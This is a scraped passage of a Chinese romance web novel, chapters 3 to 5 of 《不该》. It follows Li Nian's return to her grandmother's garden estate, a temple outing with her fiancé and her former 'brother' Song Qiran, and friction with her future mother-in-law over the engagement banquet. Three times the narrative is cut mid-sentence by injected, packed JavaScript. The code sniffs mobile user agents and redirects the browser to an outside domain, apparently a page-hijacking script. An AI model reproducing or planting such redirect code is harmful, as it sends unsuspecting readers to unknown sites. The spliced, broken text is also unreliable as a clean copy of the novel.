《不该》 3. Chapter 3 煦园的历史可以追溯到项秀姝的上一辈。 传统园林最讲究意境,一步一景,一窗一世界,无论是海棠纹的花窗,鹅卵石的小径,还是前桂后榉簇拥下的六角亭,每一处都体现着追求极致的匠人精神。 到了项秀姝这一代,煦园已经经历过大大小小无数次翻新,在保留原有建筑特色的前提下,空间布局和内部装饰也重新做过调整。 黎念的行李都被送到了南院。 这是个带草坪的小院楼,和主楼隔着一个花园,地下是家庭酒窖,地上有三层,一楼改成了茶室,二楼是起居客厅和主卧,三楼还有一个卧房。 “念小姐,这是项老师让我送过来的。”常姨把香粉和篆香的工具都摆到了主卧,“房间都打扫过了,有需要的您再喊我。” “好,谢谢常姨。” 黎念环顾四周,暂时想不出还有什么缺的,常姨前脚刚要走,她又把人叫住:“南院是只有我一个人住吧?” “还有宋先生,他住在三楼。” 黎念轻攒起眉头:“他也住南院?” “宋先生来得临时,北院挨着他不太喜欢的水景,所以就住到这边。” 黎念默不作声,花了几秒时间定神,又问:“常姨,您知道他为什么突然搬到煦园来吗?” 项秀姝说他是为了修缮宅子来这里讨教取经的,可黎念不信这套说辞。 泛亚总部在写字楼林立的望江新城,一个高新区,一个老城区,中间横跨了半个颐州城,每天的通勤都是问题,遇到早晚高峰堵上一两个小时那是常事。 对宋祈然来说,他的时间应该是精细到以分钟来计算的,怎么可能这样浪费。 黎念的分析有理有据,而常姨的回答也证实了她的怀疑。 “天气一冷项老师的抵抗力就变差了,上个月得了场重感冒,到后面居然直接发展成肺炎,还在医院住了几天,宋先生不放心,为方便照顾就干脆搬了过来。” 常姨离开后,黎念坐在卧室发了好一会儿呆。 兄弟姐妹扎堆的年代,项秀姝只生了叶思婕这么一个女儿,黎铮出事后,叶思婕的身体状况也变得一团糟糕,苦苦支撑到黎念上了高中,最后还是撒手人寰。 项秀姝经常自嘲命硬福薄,亲人缘浅,老伴走得早,连女儿和外孙都要赶在她前头。 痛苦无法用语言表达,最难熬的那几年她只能靠着诵经度日,别说报忧,就连喜事都很少见她宣之于口。 黎念自小与她亲近,也能感受到每回匆忙见面后项秀姝的不舍和纠结。 外婆如今年事已高,黎念思来想去,觉得回颐州陪伴应该是最正确不过的决定了。 收完行李洗好澡,黎念依然没有睡意,她拎着一桶冰和一支起泡甜白去了起居客厅,地暖烘着,她干脆扯了张羊毛毯就地坐下。 带甜味的酒容易让人放松警惕,黎念喝得很快,那股劲冲上来的时候困意也一起袭来,怎么睡着的都不知道。 醒来时她发现脑袋底下多了个绵软的抱枕,可抱枕是从哪儿来的,她一点印象都没有。 这时,躺在茶几上的手机震动得欢乐无比,黎念裹上毛毯,走到露台接听电话。 “靓女,我发了那么多消息你怎么一条不回?” 冷空气激回一点神志,黎念拍了拍脸,应道:“多亏你送的那支Moscato,让我一顿好睡。” “不会吧,现在就这点本事?”手机开着公放,林佩珊的笑声很夸张,“这酒确实上头,不过散得也快,意大利私人酒庄来的,市面上那些品质差的都要甜到糖尿。” 黎念抱着胳膊,称赞道:“好喝,没有小支装吗?一次性喝不完很容易跑气啊。” 林佩珊惊讶:“你们两个人还喝不完?” “谁?” “能有谁?程隽咯。” 黎念挑眉:“知道他在你还夺命call,不怕坏我好事?” 林佩珊反应过来,连声说着抱歉,作势就要挂电话,黎念这才挑明自己是在开玩笑。 “他不在,我住我外婆家。” “犀利喔,这么能忍?” 林佩珊这通电话本就没什么要紧事,黎念也乐得慢慢闲扯,谈到工作安排的时候,她的话才多起来。 “我老豆早就转幕后了,晟和现在是黎蔓说了算的,集团大佬一句话能定我生死啊。” “你不是从小就怕你姐嘛,这叫血脉压制。”林佩珊调侃完又安慰,“她这回也算是仗义了,不是还替你在董事会作保了吗?” 黎念抬头望着黑漆漆的天,感慨道:“一个即将被放弃的酒店业务,她应该是抱着失败了也不可惜的心态才交给我的吧,看她那样子,估计也不相信我能力挽狂澜。” “那你有信心吗?” 黎念没有立刻回答,半晌过去居然说了句不知道。 明明留在香港能够拥有更多选择,是她自己偏要接下这个快散架的摊子,眼下如了愿,她却升起一种心落不到实处的浮躁感。 林佩珊又给她打鸡血:“唾手可得的成功没意思,有挑战才有成就感嘛,别怕,撑不下去就回香港啊,我养你。” “好啊。”黎念被她逗笑,“反正路是我自己选的,见招拆招吧。” 聊到后半段,林佩珊传来了几张宴会场地的布置图,这都是她在意大利参加婚礼时拍的照片,能给黎念的订婚仪式做个参考。 黎念倚着玻璃护栏,却没什么心思钻研订婚的事。 她挂掉电话,正考虑着是将剩下的半支酒封起来还是喝光的时候,右手边突然响起的男声吓得她差点丢掉一半的魂。 “不冷吗?” 露台很大,只有她这头开了灯,昏茫茫的一片,宋祈然又坐在不起眼的角落里,黎念没在第一时间发现他很正常。 可他隔了那么久才吱声,就是他的不厚道了。 黎念略带防备的眼神扫过去:“你什么时候坐在这里的?” 宋祈然一双长腿交叠靠着椅背,手里握着个宽口的玻璃杯,里头估计也是酒,小酌了一口才慢悠悠道:“你在客厅打呼的时候。” “……” 黎念轻嗤:“我打呼?你少血口喷人,我还没说你偷听我讲电话。” 宋祈然虽是颐州人,但他能听懂大部分粤语,这还是黎念从前逐字逐句教导的成果。 方才她和林佩珊说了不少荤素不忌的玩笑话,估计也被这人听了个一字不落。 “怎么这会儿不说‘您’了?” 两人中间隔了好几步,宋祈然那边的光线又暗,黎念看不清他的脸,但能感受到他声音里的揶揄。 这是拿饭桌上的事点她。 黎念才没什么好态度,抿着嘴不回应,打算视他为空气。 宋祈然勾了下唇,也没有继续拌嘴的意思,提醒道:“穿这么少小心着凉,进去加件衣服再出来。” 黎念顺着他的目光向下,盯着自己脚上那双白色的毛绒拖鞋。 她是临时出来的,连袜子都没穿,脚踝被冻得微红。 “我本来就打算进去了。” 黎念无意在此久留,扯着肩上的毯子就要走,宋祈然却喊了句等等。 “干什么?” 宋祈然掏出手机晃了晃:“加个联系方式?” 黎念不太情愿:“有事?” “介绍淮恩公馆的业主给你认识。” “那你把对方的电话号码报给我就行了。” 宋祈然放下酒杯,不疾不徐道:“我这朋友话少又慢热,不太好相处,还是拉个群吧,方便交流。” 一劳永逸,这确实是黎念拒绝不了的理由。 宋祈然颇有耐心地等待,最后看着黎念一步步靠近,有些不情不愿地点开二维码将手机递了过来。 “滴”地一声,微信好友添加成功。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453786|185277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“可以了吗?” 黎念算是悟出了面无表情的精髓,并将其贯彻到底。 宋祈然熄了屏将手机扣在桌面上,似乎一点都不介意她时时刻刻掺着冷漠和暗刺的态度,依然好声好气:“可以了,进去吧。” 黎念毫不犹豫地转了身。 离开前,她的余光瞥见桌上还有一根正在燃烧的雪茄。 天寒地冻,雪茄配酒,也不知他一个人在室外吹了多长时间的冷风。 黎念腹诽,男人果真是种不分年纪都要装十三的生物。 …… 隔天黎念起了个大早,梳洗完就开始挑衣服,临出门了,却在换鞋子这个步骤犯了难。 枫安寺的规模很大,又是依山而建,有些地势高的佛殿需要徒步抵达,带跟的鞋子显然不太合适。 可黎念应下了程家今晚的饭局,这一身打扮配上小羊皮的高跟靴才是最好看的。 纠结之际,院子里传来项秀姝的催促声,黎念没空犹豫,踩上一双平底鞋,又拎起羊皮靴,风风火火出了门。 祖孙一行三人,开的是宋祈然的车子,他没安排司机,自己坐在前面当驾驶员,黎念和项秀姝则依偎在后排,有一搭没一搭地聊着。 “念念,怎么还多拿了一双鞋?” 黎念踢了踢脚边的靴子:“这双好看,但是拜佛太累,等结束了我再换。” “也是,搭你这身衣服。”项秀姝替她打理着披肩长发,“头发还和小时候一样又细又软,这卷的也好看,自己弄的?” “对呀。” “你今晚要去阿隽家吃饭吧,礼物我都给你放在后备箱了,走的时候别忘记拿,咱们的礼数要尽到。” “您这么贴心给我准备了呀?那我也省下了好多麻烦,谢谢阿婆。” 黎念是个脸上藏不住事的人,从小到大都是这样,她的喜恶都表现在语气神态里,作不得半点假。 就像她此刻的谄媚是真的谄媚,说话甜笑得也很甜。 气氛和乐,宋祈然分心望了眼车内后视镜,看到黎念撒娇时唇边漾起的浅浅酒窝,以及项秀姝那副佯装招架不住,实则十分享受的模样。 笑够了,黎念才想起一件事:“阿婆,我那辆车怎么不见了?” 订车的时候黎念人还在国外,车子等了两年才交付,到手后停在煦园几乎没有动过。 那会儿她还同时做着回颐州的准备,谁知过程不太顺利,一拖就拖到现在。 “送去做保养了,今天下午应该能送回来。” 接话的是宋祈然。 雪后迎来晴空万里,阳光有些刺目,他单手推了推架在鼻梁上的墨镜,目不转睛地盯着前方。 项秀姝解释道:“车子长时间不开的话还是要做做保养的,我想着你回来肯定得用,就让祈然帮忙处理了。” 黎念翻了翻信息栏,果然找到一条被她错过的服务短信。 上了高架车子也开始加速,放眼望去,左右两边都是拔地而起的新楼,项秀姝念叨着颐州的发展太迅速,简直是一天一变,黎念专心听着,视线却默默飘向主驾。 不同于昨天的严肃打扮,宋祈然今天这身高领毛衣和皮夹克的搭配让他看起来更年轻,也让黎念回忆起他以前的样子。 那时的宋祈然有两副面孔,在长辈面前永远是谦和有礼,稳重可靠的形象,但黎念见识过他的桀骜不驯,肆意张扬,像一团野蛮生长的烈火,也带着她一起燃烧过。 可过去终归是过去,他如今是什么模样,变了多少,黎念一概不知,也无从探究。 “念念,在想什么呢?” 项秀姝的声音扯回黎念的思绪,她偏头望向窗外,托着下巴开始感慨。 “没什么,只是觉得我不在的这些年里,颐州变化太大,太陌生了。” “那就多走走多看看,总能重新熟悉起来的。” 黎念浅笑一下,视线飘远。 4.Chapter 4 程隽就在枫安寺门口等着。 准备进寺的香客排成了长队,他一身黑衣黑裤站在角落,形单影只,好在个子够高,黎念一眼就发现了他。 项秀姝拍拍黎念还未松开的手:“我走得慢,祈然会陪我的,你和阿隽先进去,我们稍后跟上。” 黎念转头望着宋祈然,后者刚摘下墨镜,可能是为了适应光线,那双狭长的眸子微微眯起,连带着眉心也跟着一凛。 她叮嘱道:“那你牵好阿婆。” “嗯。” 宋祈然点了下头,目送她朝着程隽那个方向奔去。 作为远近闻名的百年古刹,枫安寺香火鼎盛,迎接八方信众,临近年关,携家带口的人多了起来,殿前广场的香炉也是夸张的烟熏火燎。 黎念按规矩先对着大殿拜了几拜,想在炉子里插香却发现无从下手。 香灰不断掉落,程隽看得心惊胆战:“小心烫手。” 好不容易找到一处空隙,黎念的动作又快又准,她不禁感叹:“年前就这样了,到正月里菩萨怕是要忙不过来。” 程隽拉着她退到人少的阴凉处,仰头望了望澄碧如洗的天空,问道:“你之前说的枫湖古村就在这附近吗?” “对。”黎念给他指了个方向,“步行十几分钟就能到,边上还有个感念寺,但规模没有枫安寺这么大,往西走不到八百米还有个枫湖林场。” 程隽又添了一句:“往南走就是夜阑居。” 黎念笑:“终于搞清楚方向了?你一个土生土长的颐州人怎么还没有我认路啊。” “我很少来这边,了解得不比你多。”程隽解释,“枫湖古村我当然听说过,但村子整体搬迁后那块地方就没有人烟了,荒废太久,哪怕是挨着枫安寺也没什么知名度。” “对,古村里头都是茶农茶商的私人宅子,祖上就建在这里的,最老的那一批都有百年历史了,保存得很完整,很有韵味,后来也是因为种茶产业整体升级需要挪换地方,这些村舍才空置出来的。” “一共几间?” “四十六间。” 程隽微讶:“这么大的工程量,你们是一口气接手的?” “当然。”黎念觉得热,解了脖子上的围巾,“整体开发整体改造,用传统工艺修缮,最大程度保留原有建筑的风貌。” 这个提案曾被董事会否决过几次,体量大也意味着风险高,集团本就对酒店业务失去信心,黎念能坚持下来着实耗费了不少心力。 程隽笑:“这酒店听起来挺有意思,但从专业角度来看的话,修旧物可能比盖新楼还要麻烦。” “知道你没那么感兴趣,所以我不找你做这个Case。”黎念瞟他一眼,“我要跟程伯伯聊,他今晚在家吗?” “他去吉隆坡了,年后才回来。” 黎念露出一副惋惜表情,程隽揉揉她的头顶,替她捡起蹭到地面的围巾。 不远处的项秀姝见到这一幕,忽朝着身旁的宋祈然问了一句:“你觉得阿隽这人怎么样,和念念般配吗?” 宋祈然搀着老太太,注意力都在脚下,闻言他才抬眸,不那么走心地将目光掠过去。 那两人并肩站在树底下,黎念可能是怕热,摘了围巾还想脱外套,程隽很自觉地伸手接过来,连同自己的衣物一起搭在臂弯里,动作默契又流畅。 “没有深入接触过,我也不好评价,但能在一起三年,至少说明他的脾气还可以。”这是宋祈然的结论。 项秀姝有些意外地抬了抬眉:“这话你敢当着念念的面说吗?” 这是明晃晃地说黎念不好伺候。 宋祈然偏头和项秀姝对上目光,祖孙俩相视一笑。 四人汇合后依着顺序上了香,项秀姝此行还需要还愿,她打过招呼便跟着僧人去了别处,程隽临时接到工作电话,也拿着手机走开了。 于是黎念的身旁莫名只剩下一个宋祈然。 单独相处时气氛又变得很微妙,黎念不愿主动找话题,沉默地定在原地似乎在观察眼前的人来人往,其实心思早已和线香冒出来的烟一样飘渺了。 这处佛殿里外都异常热闹,放眼望去有好些是领着孩子的家长,他们几乎人手准备了一对蜡烛,将供桌围得水泄不通。 也有避让不及被人撞到的时候,黎念吃痛皱眉。 忙乱之中,她的小臂被一股强劲力量扣住,紧接着一道高大身影替她挡住了来往拥挤,隔出一丝喘息空间。 “怎么跟木头一样愣着当站桩,过来点。” 宋祈然领着她穿出人群,避到了角落。 偏处人少,他很快松开了手,黎念抚着那只手臂,觉得上面似乎还有力道残留。 此时有路过的孩子问自己妈妈:“这是什么神仙,灵不灵啊?” 只听家长低声训斥道:“别乱说话,这拜的是文殊菩萨,保佑你学习进步天天向上的。” 等那母子俩走远,黎念抬起了头,佛像巍峨高大,站在侧面也能感受到庄严肃穆的气息。 她忽然想起自己以前和宋祈然来过这里。 那是升高中前的暑假,烈日炎炎,来枫安寺上香的人络绎不绝,黎念想为接下来的高中生涯做祈祷,宋祈然是被她拽过来做陪同的。 “哥,我这三柱香是不是少了点?” “心诚则灵。”宋祈然替黎念拿着遮阳帽,小臂上还挂着她的书包,“别忘了自报家门,佛祖很忙的,免得到时候找不到你。” 黎念笑了笑,许愿的姿势很虔诚,天气闷热,宋祈然看见她额前和鼻尖冒出的细汗,等到上香结束就给她递去了纸巾。 黎念擦着汗,眼珠子乌亮:“我看到正门口有卖冰淇淋的。” 宋祈然立刻明白她的意思,随手将遮阳帽扣到她头顶上,扬眉道:“上次是谁因为生理期肚子痛到打滚的?好了伤疤忘了疼。” “那是偶发情况,现在都好了,不影响的。”黎念扯扯他的衣袖,一副很讲道理的模样,“我请客,怎么样?” 最后还是宋祈然妥协给她买了冰淇淋。 奶油化得快,顺着脆筒流到黎念的手指上,十分黏腻,不巧的是纸巾已经在擦汗时用完了,于是宋祈然想也没想就让她蹭在自己的衣服上。 黎念犹豫:“会弄脏的啊,你等会儿不是还要跟朋友打球吗?” 宋祈然丝毫不在意,直接扯起衣角替她擦手:“没事,反正都要洗。” 冰淇淋是抹茶味的,白色布料上的污渍印记黎念至今都记得很清楚。 兜里震动的手机让她从往事中抽离出来,是程隽的来电,问她是不是还在刚才的地方等。 挂了电话黎念才发现宋祈然也在通话中, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457132|185277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高大身影背对着她,肩膀还是一样宽阔,但无论是穿衣风格还是说一不二的强势气场,都和那个夏日里给她擦手的哥哥大相径庭了。 “你下午要回家吗?”宋祈然收起手机转身问。 “不回了,我坐程隽的车走。” 宋祈然点点头:“行,那我先把阿婆送回去。” 从刚才的只言片语里黎念得知他等会儿还要去公司,于是提议:“要不还是我们送吧,反正有时间。” “没事,我顺路。” 黎念“哦”了一声。 隔了半晌,宋祈然又问:“晚上回来?” 黎念一愣,对上那双幽邃的眼睛,反问:“不然呢?” 程隽就是在这时出现的,他没听到那两人的对话,环顾四周:“阿婆那边还没好吗?” “我去看看。” 宋祈然说完就离开了。 程隽把外套披到黎念的肩上,顺口问:“你们刚刚在聊什么?” “没什么。”黎念穿好衣服,低头整了整领子,“走吧,我们再去逛逛。” 待项秀姝办好事情,这趟枫安寺之行就算是结束了,四人往出口走的时候,黎念的注意力立马被一处临时搭建的遮阳棚吸引。 棚底下人头攒动,纸箱堆得有一米多高。 工作人员正不停从箱子里取出最近寺里卖到脱销的祈福手串,不同颜色的珠子有不同寓意,万事皆可求。 购买队伍望不到头,受欢迎的程度可见一斑。 “你想要吗?”程隽问。 黎念迟疑:“可是要排好长的队……” 走在前面的项秀姝和宋祈然也停下了脚步。 程隽朝那珠子望了几眼,劝道:“这么便宜的价格料子肯定不好,到时候我给你找一串上乘的碧玺,绝对比这个好看。” 黎念何尝不懂,只是觉得意义不一样,她也并非是为了一串珠子,不过想满足当下的兴致罢了。 被程隽这么一说她顿时就没了心情,想想还是作罢,收起视线:“嗯,走吧。” 到了停车场,项秀姝让程隽把车子开过来,接着给黎念详细说明那一摞摞礼品的用处,哪些是给程隽父亲的,哪些是给程隽母亲的,交代得事无巨细。 搬东西的时候黎念才发现宋祈然不见了踪影,等他再出现,几人已经把东西全都挪到了程隽车上。 “念念,你过来,这个参我忘记跟你说了,功效不一样。” 项秀姝又把黎念唤了过去,宋祈然抄兜倚着车门,朝他们那个方向看了几眼,然后坐进主驾启动车子。 过了一会儿后排车门打开,是黎念把项秀姝扶了进来。 她指着座位上的包:“阿婆,那个递给我。” 项秀姝拿了包又拿鞋,玩笑道:“公主请换鞋。” 黎念被逗笑了:“阿婆是冲浪高手啊,什么梗都知道。” 换好靴子,她把平底鞋放回车里。 “那我走了啊。” “去吧。”项秀姝挥挥手。 目送宋祈然的车子离开,黎念和程隽也坐进了车里。 扣好安全带,黎念还想继续补个妆,她在包里翻找口红,居然翻出一个从未见过的素色布袋,角落还绣着枫安寺的字样。 她觉得奇怪,打开布袋一瞧,里头正是她想要的祈福手串。 5.Chapter 5 程家车库大门打开的那会儿,程隽的母亲谭美珍也恰好结束午休。 程仕繁不在,上桌司茶的人变成了她。奈何手艺不精,热水倒得又急又满,端起茶海后还差点手滑摔了杯子。 “您小心。” 黎念的目光从右侧墙壁挂着的那幅油画上收回来,专注盯着谭美珍倒茶的动作,比起弄翻茶盏,她更担心谭美珍那件真丝睡袍的袖子浸到茶汤里去。 “没事。”谭美珍摸了摸手,细眉一挑,“我泡茶的功夫不怎么样,但这茶叶绝对是好的,是从阿隽他爸爸的茶柜里拿出来的,你试试。” 黎念抿了一口,点点头:“确实很香,入口还有回甘。” 闲聊几句,谭美珍见她似乎对墙上的画很感兴趣,于是起了话头:“也不知这阿隽哪里来的兴致,突然对艺术品投资着了迷,家里这些画全是他弄回来的,跟我这儿的装修风格也不搭,你们找个空闲时间,能搬的都搬到你们新家那边去吧。” 黎念有片刻错愕,这事还真没听程隽提起过。 其实她也是回了颐州才知道程隽在投资画廊,单从这些拍卖画的数量来看,他这股劲头绝对不是一天两天的事。 “确实有挺多人往这方面做投资的,找些自己看得上眼的,潜力大的年轻画家,趁着低价购入他们的作品,要是看中的画家未来发展得好,增值空间也会成倍增长。” “押宝嘛,我懂。”谭美珍摩挲着手上那枚满绿蛋面的翡翠戒指,皱了皱眉,“艺术品市场这两年也不太稳定,风险总归是大的,还不如做点珠宝投资了,你说是不是?” 程隽一下楼就听见她们的对话,他换了身衣服,铅灰色的羊绒衫衬得整个人清雅温和。 “聊什么呢?” “聊你那些占地方的画。”谭美珍也给他斟上一杯茶,“你们房子收拾得怎么样了?” 桌上还摆着果盘点心,程隽挑了颗黄澄澄的蜜桔,剥好皮才放到黎念面前。 他应道:“差不多了,还剩些软装部分。” “刚装修完的房子不好直接搬进去的,记得常通风。”谭美珍呷了口茶,忽然话锋一转,“我早说过了,家里有这么多房间,你们婚后可以随便住随便挑的,就是你们小年轻现在都讲究什么空间了自由了,不愿意和我们大人一起住。” 程隽也顺着她的话:“结婚不就是组建自己的小家庭吗,怎么好意思挤在一起给你们添麻烦。” “拉倒,我讲不过你。”谭美珍白他一眼,又将目光落在默不作声的黎念身上,“念念。” “嗯?” 黎念抬眸,还往嘴里送了一瓣橘子,看那表情和反应,似乎并没有将他们讨论的话题放在心上。 “我听阿隽说,你们打算把订婚仪式放在淮恩公馆举行?” 黎念点头:“对。” 谭美珍沉默一瞬,似乎在组织语言。 “淮恩公馆确实不错,老洋房嘛也有腔调的,但我仔细想了一下,是不是放在酒店办更合适?” 见黎念没有反驳,她继续道:“你看噢,咱们两边都是体面家庭,到时候来的客人肯定也是些有头有脸的人物,我不是说公馆不好啊,主要是场地有限,而且餐食什么的肯定要请外包团队吧,大型宴会绝对是酒店专业。” “阿姨,程隽没告诉您吗?”黎念将疑惑目光转移到男友身上,“订婚宴我们只打算邀请家人和关系亲近的朋友,没听说有什么特别来宾呀。” “他告诉我了。”生怕黎念错怪儿子,谭美珍立刻接话,“可是该请的人还是要请的,我有几个老姐妹好些年没见了,她们都说要趁着阿隽这桩喜事回国见见我,人家远道而来,咱们排面必须给足吧。” 程隽刚想开口,却被黎念抢先,她语气柔和,不紧不慢:“明白您的意思,但我们想着订婚宴最好是小型私密,可以方便自己人交流,促进一下感情,您的朋友要是想来当然可以来,至于排场这些,完全可以留到正式婚礼,也好保持新鲜感,您觉得呢?” 黎念的表情很诚恳,谭美珍细听却觉得那有商有量的态度里还夹杂着一丝不容置辩,她悬起的嘴角慢慢平了下来:“这件事……你们家那边是什么想法?” 黎念的笑容浮上来:“他们倒没有什么特别要求,让我和阿隽自己看着办就行。” 谭美珍一时间无言以对。 程隽不是迟钝的人,对他来说,两边都不容易伺候,只要讲错一句话就是两头不讨好,眼见着气氛沉滞下来,他连忙转移话题打圆场。 而从黎念的角度出发,她也有很多无奈。 都说婆媳关系是这世界上最难处理的关系,她和谭美珍的每次碰面都像暗流涌动的“无声交锋”,一个看似开明大度,实则万事都要干涉的长辈,真正相处起来并不轻松。 黎念不喜欢把时间浪费在处理人际关系上面,但世间没有双全法,她既然要和程隽结婚,那父母这一关就肯定绕不过去。 对此黎念也渐渐摸索出一些应对的门道,该顺意的时候顺意,该强硬的时候必须强硬,当然最好的办法还是减少接触,或者直接把难题丢给程隽。 晚饭开始前,谭美珍找了个借口把程隽喊到厨房,开始盘问:“我听说黎念那个同父异母的大姐,前段时间离婚了?” 程隽叹气:“您哪里得来的消息,怎么比狗仔媒体还要八卦?” 谭美珍拍他一掌:“我问正经的。” “是,拖了两年,前不久了结的。” 谭美珍“啧”了一声:“怎么偏挑这个时候,妹妹马上要成家了,姐姐居然离婚了,这说出去多不好听啊……” 程隽想走,却被拽住。 “我还听说她前姐夫是净身出户的,她姐挺有本事的哈。”谭美珍忧心忡忡,话里有话,“要我说黎念就是年纪小没经验,一点都不会打算,晟和集团在内地有那么多产业,她怎么只盯着酒店啊,好歹要个映和汇这样的高端商场吧,你说她姐是不是防着她……” “妈。”程隽打断她的话,“人家姐妹感情挺好的,不要道听途说。” “都不是一个妈生的,能一样吗?”谭美珍激动起来,“对了,她是不是还有个没血缘关系的哥?” “走吧,太饿了。” 程隽不想接着聊,推着人就往厨房外面走。 谭美珍啐道:“我看你也不顶用,等着一辈子被你媳妇拿捏吧。” 饭桌上,谭美珍倒是没有再提订婚场地的事。 距离除夕还剩下不到一周的时间,她眉飞色舞地讲起了年后打算,说是正月初一要带着黎念和程隽一起回她的娘家老家拜年,听那话里话外的意思,此行是早就计划好的,非去不可。 黎念全程不动声色,直到饭局结束道完别,和程隽一前一后来到庭院时,她憋着的这口气才终于释放出来。 “我怎么不知道大年初一还要去你妈妈的老家?” 程隽也十分头疼:“她这个人就这样,总想一出是一出,我也是刚刚饭桌上知道的。” 黎念猜想订婚宴的事也是谭美珍的脑热提议,心里有些不快:“所以呢,非得每件事都临时通知吗,让我推掉所有安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16463275|185277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 排来迁就你们?” “没那么严重,她也是好意,想带你见见亲戚,认个脸熟。” “那可以提前跟我商量啊,而不是用这种方式。”黎念也不绕弯子,直截了当地告诉程隽,“年后我肯定没空,我要陪阿婆去泽阳见她的老朋友,这是早就答应了的。” “初一就去?” “对。” 程隽只能妥协,黎念再次提醒:“你妈妈那边要怎么解释你自己看着办,什么借口都好,反正我刚才也没表态。” “行。” 黎念没什么话要讲了,她拿起手机点开打车软件,程隽见状说道:“这么晚了,我送你回去。” “没事,打车方便,省得你两头跑。” “念念。”程隽的声音掺着无奈,沉了下来,“不要赌气,行吗?” 黎念烦躁依旧,斜他一眼:“我怎么就赌气了?” 眼见气氛越来越糟糕,好在这个节骨眼上家政阿姨寻了过来,脚步和语气皆是匆匆:“黎小姐,门口有辆车子等好久了,说是你家里来接你的。” “接我?” “对。” 想是项秀姝特意派了司机来接人,黎念没有犹豫,抬步就走,走到门口她却傻了眼。 只见一辆锃亮的黑色迈巴赫笔直挡在程家门前,司机下车朝她颔首:“黎小姐。” 车牌是陌生的,黎念也压根没见过这位司机,疑惑涌上心头的同时,后座车门打开了。 不怎么明亮的光线下,被平整西裤包裹的长腿先迈了出来,男人弯腰探身,复又挺直脊背,扯了扯西装衣摆站定后,那双略显冷感的眼眸才望过来。 跟出来的程隽先看清来人:“大哥?” “晚上好。”宋祈然微一点头,视线慢慢偏向黎念,“我来接她回家。” 和白天在寺里的打扮不一样,这人又披上了精英外皮,黎念盲猜他是直接从公司过来的,默默感慨互联网行业果然不同凡响,就连老板都要熬到这个点。 可上车之后黎念又觉得宋祈然不太对劲。 “你喝酒了?” “这么明显吗?”宋祈然放松姿态靠着椅背,薄薄的眼皮轻掀,“是喝了点,刚结束应酬。” 难怪,看来空气中丝丝缥缈的酒气并不是黎念的幻觉,她问:“那干嘛不直接回家?” “我跟阿婆通过电话,她说你还没回来,正好我顺路。” 那就是顺带捎上她的,黎念漫不经心地“哦”了一声。 车速平缓,温度适宜,音量恰好的钢琴乐优雅又静心,这应当是两人重逢以来相处最为和谐的时刻。 偏偏被宋祈然一记短促的笑声煞了风景。 黎念不解,只当这人是喝醉了酒发错神经,谁知下一秒宋祈然就打破平静。 “和男朋友吵架了?” 他几乎是笃定的语气,黎念不知道自己哪里露了馅,她偏眸,正好迎上宋祈然的目光。 哪怕在昏暗环境里,在彼此五官都模糊难辨的情况下,他也拥有一眼看穿她的本事。 “说来听听?” 黎念突然升起一股被戳穿的气急败坏之感,扭头低声警告:“你现在最好别跟我讲话。” 可惜这话落到宋祈然的耳里还是差了一截气势,听着没什么威慑力,像一只牙没长齐就学会哈气吓人的猫。 但他还是配合的,不说话就不说话,闭上眼睛继续假寐就是了。 黎念也不知道自己想确认什么,她的余光从那张轮廓立体的侧脸扫过,总感觉男人嘴角的笑意未消。